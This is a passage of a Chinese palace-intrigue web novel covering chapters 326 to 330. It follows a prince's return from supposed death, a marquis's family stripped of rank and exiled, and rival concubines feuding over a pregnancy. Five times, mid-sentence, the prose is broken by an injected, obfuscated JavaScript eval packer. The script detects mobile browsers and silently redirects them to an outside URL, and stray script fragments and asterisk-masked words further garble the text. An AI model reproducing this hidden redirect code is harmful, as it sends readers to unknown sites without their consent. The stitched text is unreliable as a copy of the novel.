叶寒衣脸上的表情不自在了一瞬,很快扯平唇角,冷酷无情地回了一句,“要你管。” 说完她走了。 萧晏辞气得一梗。 这臭丫头,还没嫁过去呢,眼里就只有她的情郎,没自己这个表兄了 陆知苒露出一抹若有所思,旋即笑道:“殿下,看来寒衣好事将近了。” 方才,她在叶寒衣的脸上看到了类似害羞的表情,她还下意识摸了摸嘴唇,想来二人比他们以为的都要亲近。 萧晏辞后知后觉地反应过来,“他们莫不是有了肌肤之亲?” 陆知苒笑而不语,一副默认态度。 萧晏辞脸黑了几分。 “那蠢丫头定是被戈叙白哄骗,占了便宜。” 好小子,自己看错他了,本以为他是老实本分的人,没想到,真是人不可貌相。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539398|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>陆知苒眼神微妙,其实,谁占谁的便宜,还真不好说。 萧晏辞他心里头还有点莫名不得劲。 他和知苒可是有父皇赐婚的,他都还只是拉了拉小手,旁的啥都没做,唯恐唐突佳人。 戈叙白这还八字没一撇呢,那小子就敢上嘴了。 下次见了他,自己非得把他好好教训一番不可。 再抬头看向眼前的佳人,萧晏辞的眼神添了几分别样意味。 “待回了京,我立马让父皇择定婚期,我们尽早成婚。” 决不能被他们两人比了下去。 陆知苒轻轻“嗯”了一声,不知为何,面上亦多了几分热意。 这头,戈叙白连打了几个喷嚏,他唇角的笑意更浓了几分。 定是有人在想他。 他伸手,摸了摸自己的唇,那上面似还残留着独属于叶寒衣的芬芳润泽。 他本只是想送她礼物,再讨要一个回礼,却不想,那人却说自己没有准备,然后直接上前,勾住他的脖颈亲了他一口。 饶是他脸皮厚,也不由得耳根微热,心跳加速。 她粲然一笑,问,“这个回礼如何?” 戈叙白心中的渴盼与情愫被瞬间勾了起来,也不再畏首畏尾。 他说:“不够。” 然后便又覆上她的唇,唇齿交缠,迟迟没有分开。 经此一遭,他的心更乱了,那股牵肠挂肚的感觉越发强烈,他不禁开始后悔,自己不该孟浪。 但转念一想,是她主动挑起,自己难道还有把人推开的道理? 那实在是太过不解风情。 叶寒衣躺在客栈硬邦邦的木床上,也在回味白日之事。 她行事大胆,但如此大胆,也是头一回。 她想着,反正都要走了,索性豁出去,能占一点便宜算一点。 没成想,自己反倒成了被占便宜的那一个。 她的嘴都被亲肿了! 以前她常听娘亲骂爹爹,说他是属狗的,原本不解其意,现在倒是有些明白了。 原本叶寒衣对戈叙白更多的是基于他长相好看的欣赏,现在,倒是多了点抓心挠肝的眼馋,还隐隐生出了一丝牵肠挂肚。 她裹着被子,蒙头盖着脸在床上滚了几圈,实在憋不住了,才把脑袋露出来,一张脸已然憋得通红了,她的眼睛也亮得惊人,唇角的笑意也压不住。 第326章 楚云清受宠 他们这厢不紧不慢地往京城去,殊不知,在他们离京的这段时间,京中亦发生了许多波澜。 瑾王于羌笛的断云山坠亡,尸骨无存,此事楚翊安是目击者。 这桩消息传回京,德丰帝听了大受打击,直接病倒了,甚至罢朝了好几日。 紧接着,城中疫病再起波澜。 蒋老太医开的药方出了问题,诱发百姓和士兵中邪。 幸而赵书宁出手,力挽狂澜,才平复此疫。 这还不算,更糟糕的事情接踵而来。 镇西将军谷栖山,被徒弟戈叙白设计陷害,斩于马下,尸骨无存。 这些坏消息一个接着一个,让人不禁对西平的局势生出担忧。 若西平边境不稳,关内百姓便有性命之忧,德丰帝也难以安枕。 德丰帝心情不好,众人也都夹着尾巴做人,无人敢触霉头。 当然,也有人暗地里高兴。 其中最高兴的莫过于萧晏清了。 萧晏辞是他最大的眼中钉,眼下这个眼中钉被除掉了,他如何不高兴? 楚翊安立了大功,赵书宁也没让他失望,那段时间萧晏清时常留宿楚云清的院子,给了她颇大的体面。 卢诗音气得想**,却又不敢轻易动手,惹了萧晏清不快,只能给她不痛不痒地找些麻烦。 消息传到姜氏的耳中,他一时也说不清自己是个什么心情。 楚翊安的功劳是暗地里的,明面上他并未立下寸功,倒是赵书宁,她的功劳的摆在明面上,是实打实的。 姜氏既期待赵书宁的功劳能让侯府跟着沾光,又不想看到她得意的嘴脸,是以心情有些复杂。 但归根到底,还是高兴居多。 这个儿媳妇,的确是有几分真本事的。 楚云清是侧妃,一般来说,侧妃是没有资格回家省亲的,但萧晏清心情好,便做主允了她回家省亲。 这头一份的荣耀,让楚云清更加得意。 连带着,一直很沉得住气的李云裳也气得砸了一套茶具。 姜氏拉着自己女儿的手,上上下下打量,又从头到尾细细询问她在王府的境况。 楚云清好面子,对过往的冷落一概不提,只说萧晏清如何宠爱她,直听得姜氏眉开眼笑。 “我儿是有福之人,日后定贵不可言。” 末了又道:“依我看,陆知苒就是个克夫的扫把星。她先前在咱们侯府时,半点没帮到安儿。现在,她还把瑾****。我倒要看看,以后还有谁敢要她。” 说到最后,姜氏的语气都带上了一抹不加掩饰的幸灾乐祸。 楚云清也笑弯了眼。 “她以为自己飞上枝头变凤凰了。殊不知,到头来一切都成了一场空,她这会儿只怕躲在自己院子里哭吧。” 当不成瑾王妃,她还有什么前程可言? 日后,她见了自己,就得乖乖地叩首行礼了。 想到这一点,楚云清心里就畅快。 母女二人凑在一块狠狠嘲讽了陆知苒一番,聊得十分愉快。 最后,姜氏又说:“清儿,赵氏的确有几分本事,咱们侯府以后少不得仰仗她,你日后待她,还需客气些,莫要似以往那般。” 姜氏心里固然有些不痛快,但还是以利为先。 若赵书宁真的这般有本事,她们与她和平相处,有益无害。 楚云清冷哼一声,“她就算再有本事,您也是她的婆母,我更是吴王侧妃,她还敢在我面前摆架子不成?” 姜氏见她如此态度,眉头微蹙几分。 自己女儿是什么性子,姜氏心中再清楚不过。 她一旦得意,就容易忘形。 而今吴王府局势如何还未可知,她太得意忘形,只怕会出变故。 姜氏只能苦口婆心地劝她收敛心性,最后又道:“此次吴王对你多有宠爱,只怕也是看在赵氏立功的份儿上。” 谁料,楚云清听罢却是冷哼一声,“才不是因为她呢,王爷记的是兄长的功劳。” 姜氏面露疑惑,“你此言何意?你兄长这次不是没有立下什么大功吗?” 楚云清稍稍压低了声音,“王爷偶然一次说漏嘴,兄长此次立了功劳,而且是大功劳。” 姜氏眼睛倏而一亮,“当真?那,既如此,为何无人为他请功?难道他的功劳被旁人抢了?” 楚云清:“因为他立的功,不能让人知晓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544579|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她凑到姜氏耳边,低声耳语了一番,姜氏的心头猛的一跳。 “这,这……” 原来瑾王竟是死在自己儿子手里? “清儿,此事万不可胡说,你当真确定?” 楚云清笃定点头,“十有**错不了。” 王爷虽没有明说,但那话的意思再明显不过。 她虽然算不得聪明,但也没那么蠢笨,她将此事前后联想一番,就越发确定了这个猜测。 跟赵书宁那点微末的功劳相比,除掉瑾王这个心腹大患,才是最大的功绩。 她得宠,也是沾了自家兄长的光,与赵书宁有什么关系,楚云清才不想伏低做小去讨好赵书宁呢。 姜氏脑子思绪飞转,一点点慢慢理清了思绪,也稳住了心神。 日后,吴王若荣登大宝,安儿就是一大功臣。 若清儿能生下皇孙,他们楚家就能彻底改换门庭了! 姜氏叮嘱楚云清,“此事莫要对任何人提起。” “我知晓轻重。” 眼下吴王还没坐上那个位置呢,此事但凡泄露半个字,他们宣平侯府的好日子就要到头了。 宫中,李贵妃也心情愉悦。 萧晏辞**,她都能多吃一碗饭。 想到什么,又问,“夕颜殿那边如何?” 唯一的儿子没了,柔妃现在只怕哭断气了吧! 宫人立马去打听,只看到夕颜殿大门紧闭,其余什么都没打听到。 李贵妃缓缓抚着自己的鬓发。 “定是躲在屋里哭呢。” 此时的柔妃,并没有如他们所愿躲着哭。 她面容紧绷,眼底盛满忧色,却不曾落泪。 锦瑟满腹担忧,“娘娘,您若心里难受,就哭出来吧。” 柔妃摇头,她语气坚定,“不,我相信阿辞不会有事,谷栖山,他也不会有事。除非我收到寒衣送回来的消息,不然,我不相信。” 若他们出事,柔妃觉得,自己定是会有感应的。 就像当初萧晏辞出事,柔妃晚上就做了梦。 最近,柔妃一直没有再做那样的梦。 冥冥之中,她觉得他们的处境出现了转机,他们定是安全的。 第327章 反转与打脸 锦瑟见她如此镇定,原本心神不宁也被稍稍安抚几分。 “是奴婢糊涂了。您说得对,殿下和镇西将军吉人天相,定然不会有事的。” 柔妃虽没有倒下,但整个人的状态也受了影响,她肉眼可见的消瘦了,每顿只略吃几口便放了筷子。 锦瑟面露担忧,“娘娘,您多吃些吧,您得好好的,等殿下和寒衣小姐回来。” 柔妃闻言,便打起了精神,多吃了些。 除了柔妃,萧宝珠亦是心情跌至谷底,整个人都瘦了一大圈。 陆贯轩的心情也非常糟糕。 他一直都做着当皇子岳丈的美梦,更想凭借这层关系继续往上爬,但瑾王迟迟不归京,婚期也迟迟没有定下,他等得越发焦心。 没曾想,最后没等来好消息,反倒等来了这么个惊天噩耗。 陆贯轩似被人兜头泼了一盆冷水,失望到了极致。 他的美梦,彻底破碎了。 方氏嘴角的笑意差点没压住。 好,好啊,真是太好了。 是陆知苒自己没这福分,无缘皇子妃之位。 从今以后,她想再嫁到好人家,便是痴人说梦。 陆府很快有流言传出,大小姐命不好,克夫。 她曾经的夫婿,被抄家流放了。 她未来的夫婿,直接连命都没了。 她的亲娘也被她克**,若继续留在府中,只怕老爷也会被克死。 这样的传言在府中各处流传,很快就传到了陆贯轩的耳中。 陆贯轩一下就听进去了。 现在的陆知苒,就是一个无用的棋子,他再没法从她的身上榨取更多的价值。 不能再让她住在陆家了,不然,不知哪天,自己只怕真的要被她克**。 这么想着,陆贯轩就去了瑶光阁。 陆知苒离京的消息,只有最亲近的心腹知晓,陆贯轩这个亲爹也不知道。 他到了瑶光阁外,不想竟被拒之门外了。 陆贯轩气得吹胡子瞪眼,“你们这些狗东西,睁大眼睛好好看看我是谁?连我都敢拦!” 高嬷嬷似门神似的守在门口,“陆老爷恕罪,县主在闺中待嫁,不便见任何人,您请回吧。” 陆贯轩看着眼前的老嬷嬷,心中气恼,但到底因为对方的身份,心中多了两分顾忌。 “嬷嬷难道没有听说瑾王之事?” 人都没了,还待什么嫁? 莫不是要嫁过去守望门寡? 便是皇家,也没这么做的道理吧。 高嬷嬷听出了他的言外之意,面色更冷了几分。 “殿下福泽深厚,定能平安归来,陆大人请慎言。皇上的旨意一日不下,县主便一日专心备嫁,陆大人请回吧。” 说完,直接关上院门,叫陆贯轩碰了满鼻子灰,更是气得几欲跳脚。 回到院中,高嬷嬷的脸上便也笼上一层忧色。 翠芙和丹烟二人的眼眶都是红红的。 她们都担心自家小姐和瑾王殿下的安危。 高嬷嬷立马板起了脸,“都给我把眼泪收起来,两位主子定会安然无恙,你们莫要哭丧着脸,平白给主子添晦气。” 二人听罢,赶忙擦掉眼泪。 嬷嬷说得没错,小姐和殿下一定不会有事的,她们不能自己先灰了心。 就在众朝臣都已经接受了瑾王身死的消息时,任宗平回京了。 他带回了西平的第一手消息,以及一众罪臣。 京城再次掀起了轩然大波。 萧晏辞没死。 谷栖山没死。 蒋家的药方没有问题。 西平疫情没有生变故。 先前的那些消息,全都是假的。 听罢任宗平的陈词,朝堂上有一瞬间的安静,众人都被这巨大反转惊得失语了。 坐在上首的帝王神色镇定地环顾众人。 这些消息,早已有人先一步回禀于他。 现在,他只想看看,他的朝臣们,究竟是何等反应。 萧晏清险些没绷住自己的脸色。 怎么可能? 萧晏辞怎么可能没死? 他险些诘问出声,幸而最后一丝理智将他拉了回来。 他没问,却有人替他问了。 “任大人,这是怎么一回事?瑾王殿下身在何处?先前怎会传出那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549023|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么荒谬的传言?” 任宗平缓声开口,“当初瑾王殿下身死的消息,乃是宣平侯府之子,楚翊安楚大人传出,他信誓旦旦地一口咬定此事,我等便也信以为真。” “幸而瑾王殿下吉人天相,并未出事,他现身人前,揭穿了事情真相,却原来那楚翊安竟包藏祸心,意欲谋害瑾王殿下!若非瑾王殿下早有准备,以替身诱之,只怕就要凶多吉少了。” 此话一出,朝堂再次一静,旋即便是一阵哗然。 楚定峰双腿一软,直直跪了下来。 “这,任,任大人,此事是否有什么误解?小儿怎,怎敢做出这等大逆不道之事?” 这短短的几句话,他的后背上已经迅速被冷汗打湿。 任宗平不作争论,他只是个传话的。 萧晏清紧紧握着双拳,想到自己这段时日的沾沾自喜,对楚翊安简直恨到了极致。 他竟如此急功近利,事情完全没有弄清楚就敢上报,简直该死! 萧晏辞怎么就没有死呢?他怎么如此命大! 失望排山倒海地朝他席卷而来,若非此刻是在朝堂之上,他早已失态。 任宗平又将其他事一一道来,跪在地上的楚定峰如石化了般,后背一阵阵发凉,寒意流变全身。 本以为自己儿子谋害亲王的罪名已经足够骇人,没想到,赵书宁的罪责更是不遑多让! 先前的问题药方,留下巨大隐患,让西平将士和百姓遭受了第二次疫病侵扰,给了羌笛可乘之机,此乃一罪。 她还用蛊术,戕害士兵和百姓,设计抢夺蒋家的功劳,此乃第二罪。 她犯下的事,足够侯府上下全都死好几遍! 楚定峰心里那个恨啊,恨的同时,还有一股更加强烈惧怕。 他不想死啊,侯府上下那么多人,也不能就这么**啊。 朝臣们听罢,俱是义愤填膺,开始讨伐赵书宁,完全忘了他们先前是如何夸赞赵书宁的。 楚定峰磕磕绊绊地求饶。 “微臣,罪该万死!媳赵氏犯下此等大罪,皆微臣治家不严之过,请陛下降雷霆之怒!” 第328章 悔得肠子都青了 德丰帝目光低垂,终于开了口。 “赵氏本为医女,受朝廷恩典,理应济世活人,然其心术不正,妄用蛊术,扰乱疫政,更窃夺蒋家之功,欺君罔上,罪不容诛。” “楚翊安身为朝廷命官,本应报效朝廷,竟胆大包天,刺杀瑾王,罪在不赦。宣平侯教子无方,治家不严,纵容逆子逆媳行此大逆,若不重罚,不足以震慑人心。” “今,褫夺宣平侯爵位,流放滇南,永世不得回京。赵氏以蛊术害人,罪同谋逆,打入天牢,交由刑部严审,若查证属实,凌迟处死,以正典刑。” 没有立马处死赵书宁,是因为德丰帝还想从她口中问出给她蛊虫的幕后之人。 德丰帝有一个预感,此事只怕还没完。 话音落,楚定峰的浑身瘫软了下去。 他一个字都说不出来,满脑子就只有一句话,完了,彻底完了,祖宗几代打拼出来的结果,彻底倾覆了。 全都是赵书宁那祸害惹出来的。 如果当初他们坚决一点,不让她进门,如何会有此番结果? 家门不幸,当真是家门不幸啊! 德丰帝又下令,谷兆麟等一众**秋后问斩,而太仓商行、洛氏商行都得了嘉赏,其余功臣,亦都有恩赏。 对于陆知苒,德丰帝这一次十分大方,直接大手一挥,赐了她郡主封号。 日后,她便是以郡主的身份嫁入瑾王府,这俨然是莫大的抬举和体面。 陆知苒不仅为朝廷献上了火炮和火铳,还救了瑾王,这份荣耀,该是她的。 此番前后对比,更叫楚定峰心痛如绞。 后悔,真的后悔啊,简直悔得肠子都青了。 萧晏清也满心麻木。 父皇的态度如此平静,只怕早就知道了这些事,但他却一直没有公开,而是等到任宗平回来。 这段时间,父皇在做什么?自己的一举一动,是不是都在父皇的眼里?他的人,有没有被抓到什么把柄? 萧晏清后背惊出一身冷汗。 原本愤怒又懊恼的心情,在这一刻被惊吓取代,他的整颗心都瞬间绷紧了。 他彻底乱了方寸。 不知是不是错觉,他感觉自己头顶有一道威严的目光,便似一把刀,悬在上面,随时要落下来。 好在,德丰帝没有再说什么,宣布退朝了。 萧晏清暗暗松了口气。 短时间内,他都不敢再有半分其他动作了。 一场朝会落幕,众朝臣鼻眼观心,一切尽在不言中。 原本以为吴王稳操胜券,而今看来,是他们太早下定论了。 原本急于投靠吴王的人都后悔了。 早知如此,他们就不那么心急了,只希望现在下船还来得及。 从宫里离开,萧晏清匆忙回了王府。 他满腔的怒火无处宣泄,最后想到了一人,怒气冲冲地往后院而去。 楚云清还不知道前朝发生了这般大的一桩事。 她这个月的月事没有来,这让楚云清心中涌起一股隐隐的期待。 她感觉自己这几日的胃口不大好,也闻不得荤腥味。 这种种迹象都似预示着一个可能。 她很有可能怀孕了。 这个认知让她心头涌起一股难言的欢喜,她没有声张,也没有急着求证。 她身边都是耳目,她有孕之事一旦泄露,她就会很危险,待胎相稳定了再说。 就在这时,萧晏清来了。 楚云清很高兴,快步迎上前。 “殿下,您怎么现在……”就回府了? 话还没说完,就被男人扬手的一记耳光打蒙了。 楚云清被打得狠狠趔趄,若非丫鬟搀了一把,她定要狠狠摔一跤。 “殿下……” 楚云清脸上一阵火辣辣的疼,眼里迅速盛满了泪。 “妾身做错了什么?” 萧晏清的眸中几乎喷火,“你个**,还有脸问?你可知,本王被你们宣平侯府害惨了!” 他咬牙切齿地把今日朝堂上之事道来,楚云清双腿一阵发软,几乎站立不稳。 “不,不可能,这不可能,怎会如此?” 一夕之间,瑾王没死,自家兄长谋害皇子的罪名落了下来,赵书宁的功劳更是一下变成了罪责。 最让楚云清没法接受的是,宣平侯府被褫夺了爵位,从此以后,京中就再没有宣平侯府,只有楚家了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549024|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们楚家上下,都要被流放滇南! 那样的地方酷热不说,更是瘴气横生,他们去了岂有活路? 她的家人若**,她就没了娘家,今后在这王府,她怎么活下去? 楚云清哭得伤心,萧晏清眼底的厌恶丝毫不加掩饰。 “你还有脸哭?若非你们楚家人办事不力,本王岂会空欢喜一场?简直废物!” 萧晏清憋了一肚子的火气,全都发泄到了楚云清的身上。 甚至抬脚就踹,毫不留情。 楚云清下意识护着自己的肚子,连忙躲避。 “殿下饶命啊,妾身肚子里怀了您的子嗣,求您看在孩子的份儿上,对妾身高抬贵手吧!” 萧晏清的火气微微一滞,堪堪收回了踹出去的一脚。 “你说什么?” 楚云清仰头,满脸楚楚地看着他。 “殿下,妾身腹中已有了您的孩子。” 她并没有确定此事,但眼下也顾不上许多了,这成了她的救命稻草。 这段时日,萧晏清宠幸她的次数最多。 但她是侧妃,正妃尚未有子嗣,侧妃都要喝避子汤。 萧晏清对此并无异议,不论谁生,都是他的孩子。 只是这孩子偏偏在这个时候投生在楚云清的肚子里,让他心中莫名不喜。 萧晏清眯着眼睛看她,“你没喝避子汤?” 楚云清连忙道:“妾身喝了,每次王妃都会派嬷嬷送来汤药,亲眼盯着妾身喝下。但这孩子还是来了,殿下,这是上天赐予的缘分啊。” 每次同房,她都坚持服用赵书宁给的助孕丹,或许,真的是那丹药起了效果。 萧晏清依旧怒意未消,但到底冷静了几分。 到底是自己的子嗣,他不可能不要。 当即吩咐,“来人,请太医。” 楚云清捏着手指,心中惴惴不安。 孩子啊,你可一定要保佑娘亲,做娘亲的护身符啊。 楚云清的院子就是个筛子,萧晏清前脚刚派人去请太医,后脚,此事就已经在各处传遍了。 卢诗音气得砸了一套茶盏,“小**!她果然不安分,只怕那避子汤她压根就没喝!” 第329章 为什么她怀不上? 那负责送避子汤的婆子立马慌得跪了下来。 “王妃,老奴每次都是盯着她喝下的,绝不可能弄虚作假,请您定要相信老奴。” 说完她就砰砰磕头,直把脑门都磕出了血。 半晌,卢诗音才冷哼一声,“谅你也不敢背叛我。” 那婆子闻言,这才狠狠松了口气。 “那**究竟是怎么怀上的?” 那婆子眼珠子一转,猜测道:“依老奴愚见,楚侧妃定是在老奴离开之后就立马催吐,把避子汤都吐了出来,若不然,她定是不可能怀上的。” 卢诗音闻言狠狠啐了一口,“**,是我小瞧她了!” 她又黯然地伸手摸向自己的肚子。 “我这肚子,怎么这般不争气?” 明明也承宠了许多回,怎就一点动静都没有? 一众心腹都出言宽慰,“娘娘只是缘分没到罢了,只要缘分一到,一切自然都是水到渠成的。” 卢诗音勉强点头。 但心中到底还是黯然,再想到楚云清,那股子黯然就变成了强烈的怒意。 就在这时,有婆子匆匆入内,脸上带着笑意。 “王妃,喜事,大喜事。” 卢诗音脸上神色冷冷的,“何喜之有?” 那婆子欢欢喜喜地道:“楚侧妃的娘家出大事了。” 卢诗音神色一正,“哦?” 那婆子便三言两语,把事情的始末道来,卢诗音听罢,眼睛骤然一亮。 她大笑出声,“好,这可真是名副其实的大喜事!我倒要看看,那**还有什么筹码护住这个孩子。” 她一扫方才的颓丧,兴致勃勃地起身,“走,去看看楚侧妃。” 太医赶到,给楚云清诊了脉,笑着道喜:“恭喜王爷,贺喜王爷,楚侧妃已有一月身孕。” 楚云清闻言,脸上立马露出巨大的惊喜。 卢诗音赶来时,刚好听到太医的这话,她面色还是忍不住一沉。 但转个脸,她就露出了假惺惺的笑。 “妹妹真是好福气。” 楚云清脸上的喜色顿时一僵,转而防备地抚着肚子,僵硬地行礼。 “切身见过王妃。” 卢诗音皮笑肉不笑,“妹妹现在是金贵人,快别多礼了,若是你的孩子有个三长两短,我可担待不起。” 这话让楚云清心中更加忐忑,她求助地看向萧晏清,想要得到他的庇护。 但萧晏清什么表示都没有,对于楚云清有孕之事,他也没有表现出太大的欢喜。 楚云清这孩来得不是时候,没人期待。 萧晏辞没死,还立了功劳,萧晏清正是心情最糟糕的时候,添丁的好消息,也没能抵消他心头的烦闷。 李云裳也闻讯赶来,她的段位比卢诗音高,全程笑盈盈的,好似真心为楚云清高兴。 萧晏清语气冷淡,“楚侧妃有孕,此乃大事,养胎诸事便交由王妃安排,不可出任何岔子,不然本王唯你是问。” 卢诗音赶忙应下,但心中却一阵冷笑。 楚云清落到她手里,还想平安生下孩子?那简直是痴人说梦。 楚云清没了娘家做靠山,就算落了胎,也没人替她撑腰,王爷也不可能为了她得罪卢家。 卢诗音有恃无恐。 楚云清的脸色则瞬间变得惨白,她楚楚可怜地望着萧晏清,想要寻求他的更多庇护,但对方却早已失了耐心,径直甩袖而去。 卢诗音似笑非笑地看着楚云清,“好妹妹,你且放心,我定会好好照料你,不让你的孩子出半点闪失!” 楚云清听了这话,心头顿时一紧,但她没了娘家,也失了底气,讷讷地不敢说话。 姜氏听说大军回程了,原本还满心欢喜,安排府中下人准备宴席,为楚翊安和赵书宁接风洗尘,但没想到,先等来了一场噩耗。 禁军气势汹汹地冲进了楚家,姜氏又惊又怒,“你,你们做什么?这是宣平侯府,容不得你们放肆!” 为首的禁军冷笑了几声,“宣平侯府?已经不是了,楚翊安谋害瑾王,赵书宁涉嫌蛊术,罪大恶极,皇上已然下旨,褫夺宣平侯封号,楚家人尽数流放滇南,赵书宁秋后问斩!” 姜氏闻言,双腿一软,直接瘫软下去,两个耳朵都一阵嗡嗡地响。 她不停喃喃,“怎么会?这怎么可能? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557569|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 无人回答她,那些禁军已经冲进去,毫不客气地开始抄家。 姜氏回过神来,急忙冲上前想要抢下一些值钱物件,但对上那些禁军根本没有抵抗力,最后什么都没留下,只能跌坐在地上,嚎啕大哭。 这个消息也很快传回了姜家。 姜家人瞬间吓成了惊弓之鸟,唯恐姜家也会受到牵连。 好在,圣旨并未波及姜家,他们赶紧关起门来,以免姜氏登门求助,牵连了他们。 听说陆知苒受了赏,得封郡主,姜永康简直把牙都酸掉了。 “陆贯轩那老匹夫怎么运气这么好,生了这么个好女儿。” 姜星熠更眼馋了,“要是儿子娶的是她就好了。” 那陆知苒的这些荣华富贵就都是他的了。 若当初…… 不能想,一想就要懊恼得肠子悔青。 姜永康压下心头的酸意,“熠哥儿,你要对你媳妇多上上心,也多陪陪她回娘家走走。” 陆家今时不同往日,他们不得不低头巴结讨好。 姜星熠想到陆知苒,也没有反对。 就算吃不着,若是能时常走动,多见见她解解馋也好。 这般想着,姜星熠破天荒地去了陆映溪的院子。 陆映溪已经快生了,身子很沉,双腿也浮肿得厉害,十分难熬。 最近几个月,她的胃口大开,整个人都臃肿了一大圈,再不复以往的柔静秀美。 姜星熠来时,见到她这般模样,心中那股子遗憾顿时更加强烈,眼底的嫌恶便有些没藏住。 陆映溪见此,眸中瞬间喷火,脸色也一下冷了下去。 “你不去找你的那些红颜知己,到我这黄脸皮这里来做什么?” 姜星熠耐着性子露出了一个笑脸,“想着你要生了,我就来看看。” 陆映溪冷笑一声,“收起你这虚伪的嘴脸,有话就直说。” 姜星熠被她这态度刺得也是一恼,便也没了哄她的心思,直言道:“日后你生了,可以多回娘家走动走动。咱们儿子的姨母是未来瑾王妃,又是郡主,他若是得了亲姨母的喜爱,日后也能有更好的前程。” 第330章 陆映溪生产 陆映溪闻言,愣住了。 “哪有什么未来瑾王妃?哪有什么郡主?你在说什么?” 瑾王都**,哪来的瑾王妃? 当初听到这个消息,她高兴得多吃了一碗饭呢。 难不成,瑾王**,陆知苒还要嫁过去守望门寡? 若是这样的话,也不失为另一个好消息。 只是,郡主又是什么意思?陆知苒明明是县主。 姜星熠这才想起,陆映溪一直在屋中养胎,还不知外头的事,便将最近发生的事一一告知。 陆映溪听罢,脸色大变。 她几乎是尖叫出声,“不可能!我不相信!” 这怎么可能?陆知苒的运气怎么就这么好? 本以为自己终于可以压她一头,结果到头来竟全都是一场空。 姜星熠见她那副癫狂模样,立马就猜出了她的心思,冷笑一声。 “怎么,看到旁人有了好前程,你心里不痛快了?你们是亲姐妹,你若当真心胸开阔,就该真心祝福她,日后多与她往来,沾沾贵气,也能去一去你身上这股子尖酸刻薄的小家子气。” 陆映溪听了这话,脸色更加难看,心口更是气得一阵发堵,便是腹部也有些隐隐作痛。 “你嫌我尖酸刻薄小家子气?也不撒泡尿照照自己,就这副德行,我愿意嫁给你已经是你们祖上烧高香了!” “别以为我不知道你的心思,每次见了陆知苒,眼珠子都恨不得黏在她身上,真有本事,你怎么不把她弄到手?自己得不到,只会在我面前耍威风,真是个废物!” 陆映溪满腔怒火,出口的话也毫不留情,姜星熠的面皮被揭,不禁恼羞成怒。 “当初若不是你横插一脚,我与她早就成就了好事,我何至于要娶你?” 陆映溪冷笑一声,“那你把我休了啊。” 姜星熠满脸高高在上,“若非看在你肚子里孩子的份儿上,我早就把你休了。就你这样的破鞋,除了我可没人会要,你以后还是给我老实些。” 陆映溪气得面皮扭曲,“大可不必为我考虑,我便是带着孩子,也不愁嫁,我今晚就走。” 陆映溪撑着肚子就起身,一副真的要走的架势。 姜星熠的脸色微变。 这时他才想起来,自己今日本是来说好话的,没想到说着说着,就吵起来了。 姜家大不如前,反倒是陆家前程似锦,便是陆映溪的外祖方家也隐有起势,他可不能真的让陆映溪走了。 但他又拉不下脸赔礼道歉,便伸手去拦,“不许走。” 陆映溪不管不顾,姜星熠也不是个会疼人的,推搡间,陆映溪脚下一个不稳,直直往后摔去。 瞬间,她疼得面容扭曲,下身也很快有血流了出来。 姜星熠也懵了,不知所措地站在那里。 直到有丫鬟婆子冲进来,连声喊着去请大夫和稳婆,他才慢慢回过神来。 陆映溪被小心抬到了床上,一阵阵呼痛声传来,姜星熠手心不觉开始冒冷汗。 他心想,应该不会有事的吧?反正她的月份也大了,原本就快要生了。 